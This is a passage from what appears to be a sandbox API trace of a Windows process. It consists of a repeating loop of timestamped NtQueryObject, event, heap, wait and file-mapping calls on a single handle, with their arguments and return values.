ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.984] ResetEvent (hEvent=0x110) returned 1 [0071.984] SetEvent (hEvent=0x114) returned 1 [0071.984] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.985] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.985] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.985] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.985] ResetEvent (hEvent=0x110) returned 1 [0071.985] SetEvent (hEvent=0x114) returned 1 [0071.985] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.985] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.985] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.985] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.985] ResetEvent (hEvent=0x110) returned 1 [0071.985] SetEvent (hEvent=0x114) returned 1 [0071.985] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.985] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.985] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.985] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.985] ResetEvent (hEvent=0x110) returned 1 [0071.985] SetEvent (hEvent=0x114) returned 1 [0071.986] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.986] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.986] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.986] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.986] ResetEvent (hEvent=0x110) returned 1 [0071.986] SetEvent (hEvent=0x114) returned 1 [0071.986] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.986] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.986] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.986] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.986] ResetEvent (hEvent=0x110) returned 1 [0071.986] SetEvent (hEvent=0x114) returned 1 [0071.986] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.986] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.987] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.987] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.987] ResetEvent (hEvent=0x110) returned 1 [0071.987] SetEvent (hEvent=0x114) returned 1 [0071.987] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.987] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.987] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.987] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.987] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0071.987] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0071.987] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0071.987] ResetEvent (hEvent=0x110) returned 1 [0071.987] SetEvent (hEvent=0x114) returned 1 [0071.987] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.987] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.987] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.988] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.988] ResetEvent (hEvent=0x110) returned 1 [0071.988] SetEvent (hEvent=0x114) returned 1 [0071.988] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.988] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.988] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.988] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.988] ResetEvent (hEvent=0x110) returned 1 [0071.988] SetEvent (hEvent=0x114) returned 1 [0071.988] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.988] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.988] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.988] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.988] ResetEvent (hEvent=0x110) returned 1 [0071.988] SetEvent (hEvent=0x114) returned 1 [0071.988] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.988] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.989] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.989] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.989] ResetEvent (hEvent=0x110) returned 1 [0071.989] SetEvent (hEvent=0x114) returned 1 [0071.989] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.989] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.989] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.989] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.989] ResetEvent (hEvent=0x110) returned 1 [0071.989] SetEvent (hEvent=0x114) returned 1 [0071.989] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.989] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.989] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.989] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.989] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0071.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0071.989] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0071.990] ResetEvent (hEvent=0x110) returned 1 [0071.990] SetEvent (hEvent=0x114) returned 1 [0071.990] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.990] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.990] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.990] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.990] ResetEvent (hEvent=0x110) returned 1 [0071.990] SetEvent (hEvent=0x114) returned 1 [0071.990] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.990] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.990] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.990] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.990] ResetEvent (hEvent=0x110) returned 1 [0071.990] SetEvent (hEvent=0x114) returned 1 [0071.990] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.991] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.991] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.991] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.991] ResetEvent (hEvent=0x110) returned 1 [0071.991] SetEvent (hEvent=0x114) returned 1 [0071.991] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.991] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.991] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.991] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.991] ResetEvent (hEvent=0x110) returned 1 [0071.991] SetEvent (hEvent=0x114) returned 1 [0071.991] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0071.991] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0071.991] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0071.991] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0071.991] ResetEvent (hEvent=0x110) returned 1 [0072.035] SetEvent (hEvent=0x114) returned 1 [0072.036] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.036] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.036] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.036] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.036] ResetEvent (hEvent=0x110) returned 1 [0072.036] SetEvent (hEvent=0x114) returned 1 [0072.036] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.036] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.036] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.036] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.036] ResetEvent (hEvent=0x110) returned 1 [0072.036] SetEvent (hEvent=0x114) returned 1 [0072.036] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.037] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.037] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.037] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.037] ResetEvent (hEvent=0x110) returned 1 [0072.037] SetEvent (hEvent=0x114) returned 1 [0072.037] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.037] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.037] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.037] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.037] ResetEvent (hEvent=0x110) returned 1 [0072.037] SetEvent (hEvent=0x114) returned 1 [0072.037] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.037] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.037] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.037] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.037] ResetEvent (hEvent=0x110) returned 1 [0072.037] SetEvent (hEvent=0x114) returned 1 [0072.038] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.038] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.038] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.038] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.038] ResetEvent (hEvent=0x110) returned 1 [0072.038] SetEvent (hEvent=0x114) returned 1 [0072.038] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.038] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.038] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.038] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.038] ResetEvent (hEvent=0x110) returned 1 [0072.038] SetEvent (hEvent=0x114) returned 1 [0072.039] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.039] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.039] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.039] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.039] ResetEvent (hEvent=0x110) returned 1 [0072.039] SetEvent (hEvent=0x114) returned 1 [0072.039] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.039] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.039] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.039] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.039] ResetEvent (hEvent=0x110) returned 1 [0072.039] SetEvent (hEvent=0x114) returned 1 [0072.039] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.039] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.040] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.040] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.040] ResetEvent (hEvent=0x110) returned 1 [0072.040] SetEvent (hEvent=0x114) returned 1 [0072.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.040] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.040] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.040] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.040] ResetEvent (hEvent=0x110) returned 1 [0072.040] SetEvent (hEvent=0x114) returned 1 [0072.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.040] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.040] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.040] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.040] ResetEvent (hEvent=0x110) returned 1 [0072.040] SetEvent (hEvent=0x114) returned 1 [0072.041] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.041] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.041] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.041] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.041] ResetEvent (hEvent=0x110) returned 1 [0072.041] SetEvent (hEvent=0x114) returned 1 [0072.041] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.041] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.041] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.041] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.041] ResetEvent (hEvent=0x110) returned 1 [0072.041] SetEvent (hEvent=0x114) returned 1 [0072.041] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.041] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.041] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.042] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.042] ResetEvent (hEvent=0x110) returned 1 [0072.042] SetEvent (hEvent=0x114) returned 1 [0072.042] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.042] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.042] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.042] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.042] ResetEvent (hEvent=0x110) returned 1 [0072.042] SetEvent (hEvent=0x114) returned 1 [0072.042] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.042] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.042] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.042] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.042] ResetEvent (hEvent=0x110) returned 1 [0072.042] SetEvent (hEvent=0x114) returned 1 [0072.043] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.043] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.043] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.043] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.043] ResetEvent (hEvent=0x110) returned 1 [0072.043] SetEvent (hEvent=0x114) returned 1 [0072.043] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.043] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.043] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.043] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.043] ResetEvent (hEvent=0x110) returned 1 [0072.043] SetEvent (hEvent=0x114) returned 1 [0072.043] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.043] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.043] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.044] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.044] ResetEvent (hEvent=0x110) returned 1 [0072.044] SetEvent (hEvent=0x114) returned 1 [0072.044] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.044] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.044] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.044] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.044] ResetEvent (hEvent=0x110) returned 1 [0072.044] SetEvent (hEvent=0x114) returned 1 [0072.044] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.044] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 